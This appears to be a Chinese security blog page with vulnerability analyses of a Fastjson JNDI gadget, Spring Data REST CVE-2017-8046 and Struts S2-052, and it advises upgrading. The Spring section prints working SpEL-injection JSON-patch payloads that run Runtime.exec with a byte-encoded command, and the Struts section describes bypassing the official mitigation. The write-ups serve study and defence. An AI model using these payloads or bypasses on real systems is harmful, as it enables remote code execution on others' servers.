从这个调用栈就可以看出，在进入Gadget之前，首先是Java应用调用Fastjson的parseObject或者parse接口，进入JavaObjectDeserializer.deserialize方法，经过一系列判断之后发现是JavaBean，就会调用JavaBeanDeserializer.deserialize接口,反序列化得到Gadget相关域，在这个过程中都是通过反射调用这些域的getter，setter或者is方法，这就正式在Gadget执行代码。下面看一下在Gadget中执行的代码。在反序列化过程中是有次序来调用相应接口的，首先是设置dataSourceName属性，这个是其父类BaseRowSet继承过来的。
```java
public void setDataSourceName(String name) throws SQLException {
    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
       throw new SQLException("DataSource name cannot be empty string");
    } else {
       dataSource = name;
    }
    URL = null;
}

设置autoCommit属性:

public void setAutoCommit(boolean var1) throws SQLException {
    if(this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

这setAutoCommit里函数里会触发connect函数。

private Connection connect() throws SQLException {
    if(this.conn != null) {
        return this.conn;
    } else if(this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
    }
}

这里面就调用InitialContext的lookup方法，而且找到的就是我们前面设置的DataSourceName(),达到远程调用任意类的目的。由于JdbcRowSetImpl是官方自带的库，所以这个PoC的威力相对来说更厉害。如果还在使用Fastjson 1.2.24版本及以下烦请升级。

引用：
1，https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
2,http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

Java JSON反序列化之殇-看雪安全开发者峰会

发表于 2017-11-23 | 分类于反序列化 | | 阅读次数

综合

这是我在看雪2017安全开发者峰会的议题《Java JSON反序列之殇》的内容，主要涉及Java JSON常用库GSON，Jackson，Fastjson的使用，安全特性，反序列化安全特性，Fastjson架构，Fastjson RCE的PoC，从TemplateImpl，JNDI Bean Property和JNDI Field做了分类整理分析，最后会涉及JAVA JSON反序列化防御和Java反序列化防御。详情请参考PPT内容。pdf无法显示，直接右键另存为即可或者从github上下载：https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/Java_JSON%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E6%AE%87_%E7%9C%8B%E9%9B%AA%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91%E8%80%85%E5%B3%B0%E4%BC%9A.pdf

Spring Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析

发表于 2017-09-29 | 分类于 spring | | 阅读次数

1 综述

近日，Pivotal官方发布通告表示Spring-data-rest服务器在处理PATCH请求时存在一个远程代码执行漏洞（CVE-2017-8046）。攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器，通过构造好的JSON数据来执行任意Java代码。官方已经发布了新版本修复了该漏洞。

受影响的版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

不受影响的版本

Spring Data REST 2.5.12, 2.6.7, 3.0RC3
Spring Boot 2.0.0.M4
Spring Data release train Kay-RC3

解决方案
官方已经发布了新版本修复了该漏洞，受影响的用户请尽快升级至最新版本来防护该漏洞。

参考链接：
https://projects.spring.io/spring-data-rest/
https://projects.spring.io/spring-boot/

2 补丁分析：

从官方的描述来看就是就是Spring-data-rest服务处理PATCH请求不当，导致任意表达式执行从而导致的RCE。
首先来看下补丁，主要是evaluateValueFromTarget添加了一个校验方法verifyPath，对于不合规格的path直接报异常退出，主要是property.from(pathSource,type)实现，基本逻辑就是通过反射去验证该Field是否存在于bean中。

3 复现：

直接拉取https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples，找到spring-rest-data这个项目，直接用IDEA一步步导入进去即可，直接运行就能看到在本地的8080端口起了jetty服务。但是请注意这编译好的是最新版本，要引入漏洞，当然得老版本，修改pom.xml,添加plugin，具体如下：

<dependency>
   <groupId>org.springframework.data</groupId>
   <artifactId>spring-data-rest-webmvc</artifactId>
   <version>3.0.0.RC2</version>
</dependency>

从项目test目录找到相关请求形式，发送http://127.0.0.1:8080/api/cities/1即可看到回显表明服务正常启动。测试poc的效果如下：

这个poc的几个关键点在于：Content-Type: application/json-patch+json，path路径一定得用斜杠/隔开，至于为什么，后续会讲到。op支持的操作符很多，包括test，add，replace等都可以触发，op不同，path中添加的poc可以不一样，如op为test时就少了很多限制。如下是op为add时候的请求body。

1	[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))/xxlegend"}]

执行ping 192.168.3.106

3 分析：

漏洞的触发过程详细分析见文档：https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA，这里已经描述的比较清楚，在这里不再重述，这篇文档后续的分析主要是对poc的一些解读。
随便拿一个以前spring表达式注入的poc作为path的参数值，如poc：

1 2	[{"op":"add","path":"new java.lang.String(new byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})" }]

这个请求的特别之处在于path字段值后边没有了斜杠。
会报如下错误：

Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1032E: setValue(ExpressionState, Object) not supported for 'class org.springframework.expression.spel.ast.ConstructorReference'
    at org.springframework.expression.spel.ast.SpelNodeImpl.setValue(SpelNodeImpl.java:148) 
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) 
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) 
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) 
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) 
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) 
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83)
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200)

说明path参数确实被污染，此处存在表达式注入漏洞，虽然已经进入表达式的执行流程，但是这里却报错退出。离RCE还差一步，查看org.springframework.expression.spel.ast.SpelNodeImpl.setValue方法

@Override
public void setValue(ExpressionState expressionState, Object newValue) throws EvaluationException {
   throw new SpelEvaluationException(getStartPosition(),
         SpelMessage.SETVALUE_NOT_SUPPORTED, getClass());
}

这个方法直接抛出异常，那看来poc离执行还有一段距离。直接调出setValue的实现，发现有五个地方重写了该方法。SpelNodeImpl的setValue也在其中，但是它是直接抛出异常的，算一个异常检查吧。查看他们的实现，只有CompoundExpression,Indexer,PropertyOrFieldReference真正存在执行表达式。

查看相关文档得知 CompoundExpression是复杂表达式，用.连接起来的都算。
Indexer一般是这么表示test[xxlegend]，那么可以把poc改成

1 2	[{"op":"add","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))[xxlegend]" }]

这也是可以运行的。再看调用栈也是符合我们刚才理解到
SpelExpression.setValue–》
CompoundExpression.setValue–》
CompoundExpression.getValueRef–》
Indexer.getValueRef–》
PropertyOrFieldReference.getValueInternal–》
PropertyOrFieldReference.readProperty

Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1008E: Property or field 'xxlegend' cannot be found on object of type 'sample.data.rest.domain.City' - maybe not public?
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:224) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:94) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:81) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:123) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]

前面都是讲path参数，也就是表达式的写法。在这个poc中还用到op参数，op表示要执行的动作，在代码中定义了add,copy,from,move,replace,test这么多操作值，add，test，replace可直接触发漏洞，并且test非常直接，path参数值无需斜杠/，[]来分割，poc如下：

1 2	[{"op":"test","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))" }]

很明显这个poc的path参数值无线跟/ []来分割参数。原因就是它调用的是SpelExpression.getValue，而非test情况下的poc最终调用的都是SpelExpression.setValue，通过setValue调用getValueRef来达到表达式注入。
下面看看test的调用栈：

这个点官方也没修，但是有个限制：

@Override
<T> void perform(Object target, Class<T> type) {
   Object expected = normalizeIfNumber(evaluateValueFromTarget(target, type));
   Object actual = normalizeIfNumber(getValueFromTarget(target));
   if (!ObjectUtils.nullSafeEquals(expected, actual)) {
      throw new PatchException("Test against path '" + path + "' failed.");
   }
}

evaluateValueFromTarget运行在前，会报错退出，导致getValueFromTarget不会被执行，怎么绕过去呢？值得思考。

S2-052漏洞分析及官方缓解措施无效验证

发表于 2017-09-06 | 分类于 Struts2 | | 阅读次数

综述

2017年9月5日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x和2.3.x的REST插件存在远程代码执行的高危漏洞，漏洞编号为CVE-2017-9805（S2-052）。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有任何类型过滤导致远程代码执行。
相关链接如下：
https://cwiki.apache.org/confluence/display/WW/S2-052
影响版本：
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
规避方案
立即升级到Struts 2.5.13 or Struts 2.3.34

技术分析

0x01 环境搭建

从官方地址（https://archive.apache.org/dist/struts/2.5/struts-2.5-all.zip）下载所有源码包，找到其中的struts2-rest-showcase.war直接部署到tomcat就行，当然我更喜欢手动编译，直接通过Maven编译即可。具体的部署过程这里就不详细描述，不过有点是需要注意的，由于javax.imageio的依赖关系，我们的环境的jdk版本需要是jdk8以上，jdk8某些低版本也是不行的，本文作者的版本是jdk8_102，后续的一些验证都是在这个版本上做的

0x02 补丁分析

环境搭建好了之后，首先我们来看下rest插件的相关配置

从这个文件中就可以看出XStreamHanler就是Content-Type:xml的默认处理句柄，而且可以看出xml是默认支持格式，这也就是说存在rest插件就会存在XStream的反序列化漏洞。
接着看看官方的修复方案，补丁地址：https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264
在官方的修复方案中,主要就是将xml中的数据白名单化，把Collection和Map，一些基础类，时间类放在白名单中，这样就能阻止XStream反序列化的过程中带入一些有害类。

0x03 POC的生成

目前公开的Poc是基于javax.imageio的，这是能直接本地执行命令，但是marshelsec提供了11个XStream反序列化库，其中大部分都是基于JNDI，具体包含：CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO, BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBean
从外部请求类完成反序列化。

0x04 漏洞验证及简单分析

下图是一个简单的验证分析图，从Poc中可以看出，请求是PUT，请求的url后缀带xml，请求的Content-Type为delicious/bookmark+xml，请求的xml的前缀是<set>.

接着我们看下触发的执行调用栈：

在XStreamHanler.toObject调用了XStream的fromXml，从而进入反序列化流程。

0x05 官方临时缓解措施不起作用

官方给出的缓解措施<constant name="struts.action.extension" value="xhtml,,,json" />，从字面意思也能看出来，这个是针对action的后缀的，也就是说如果后缀不带xml也就可以绕过。下面给出测试用例，从我们的poc中也可以看出，POST请求不带xml的后缀直接忽视这个缓解措施。所以说Struts的官方也不怎么复制，没测试过的东西就直接放出来。XStream只跟Content-Type有关，如果Content-Type中含有xml，则会交给XStream处理，所以poc该怎么使还怎么使，并且目前最大的问题就是国内的解决都是使用的这个无效的官方解决方案，下面看下我们的验证：

从图上可以看出，我们已经去除了xml的支持，下面来看看Payload的执行效果：

成功弹出计算器，这也就验证了我们的想法。同时通过两个不同poc的比较，我们也能发现一些端倪，Content-Type支持xml的几种格式，POST请求，PUT请求，GET请求甚至是自定义请求都是能触发漏洞，我们可以将poc中<map><entry>换成<set>也能触发漏洞。同时由于XStream本身的Poc多大十一种，做好安全防御确实比较艰难。

廖新喜

分享些安全编码，漏洞分析

RSS

GitHub Twitter Weibo